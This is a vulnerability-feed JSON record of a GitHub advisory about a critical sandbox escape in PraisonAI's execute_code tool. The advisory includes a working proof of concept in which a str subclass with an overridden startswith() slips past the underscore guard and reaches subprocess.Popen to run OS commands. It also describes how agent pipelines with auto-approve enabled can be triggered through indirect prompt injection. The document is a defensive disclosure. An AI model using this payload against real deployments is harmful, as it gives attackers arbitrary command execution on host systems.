{"vuln_id":"CVE-2026-34938","aliases":["GHSA-6vh2-h83c-9294"],"description":"PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code","published_at":"2026-04-01T23:17:48Z","modified_at":"2026-11-16T16:01:13Z","first_seen_at":"2026-11-21T19:15:20.271112Z","severity":"critical","severity_source":"ghsa","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":["CWE-693"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.13682,"epss_percentile":0.96581,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-34938"},"matched_alias":null,"items":[{"id":2517,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-6vh2-h83c-9294 / CVE-2026-34938: PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code","summary":"PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code\n\n### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, '')\n        n = getattr(cls, name_attr, '')\n        if m == 'subprocess' and n == 'Popen':\n            r = cls(['id'], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print('RCE:', out.decode())\n            break\n    except Exception as e:\n        print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.\n\nAffected packages: pip:praisonaiagents\nPatched: praisonaiagents 1.5.90","url":"https://github.com/advisories/GHSA-6vh2-h83c-9294","published_at":"2026-04-01T23:17:48Z","updated_at":"2026-11-16T16:01:13Z","fetched_at":"2026-11-21T19:15:18.416900Z","severity":"critical","cvss_score":10.0,"epss":0.13682,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"praisonaiagents","vuln_id":"CVE-2026-34938","vuln_ids":["CVE-2026-34938","GHSA-6VH2-H83C-9294"],"tags":["ghsa","pip","CWE-693"],"cluster_id":2478,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2517","html":"https://vulnwatch.ve1ve2.com/item/2517"}}]}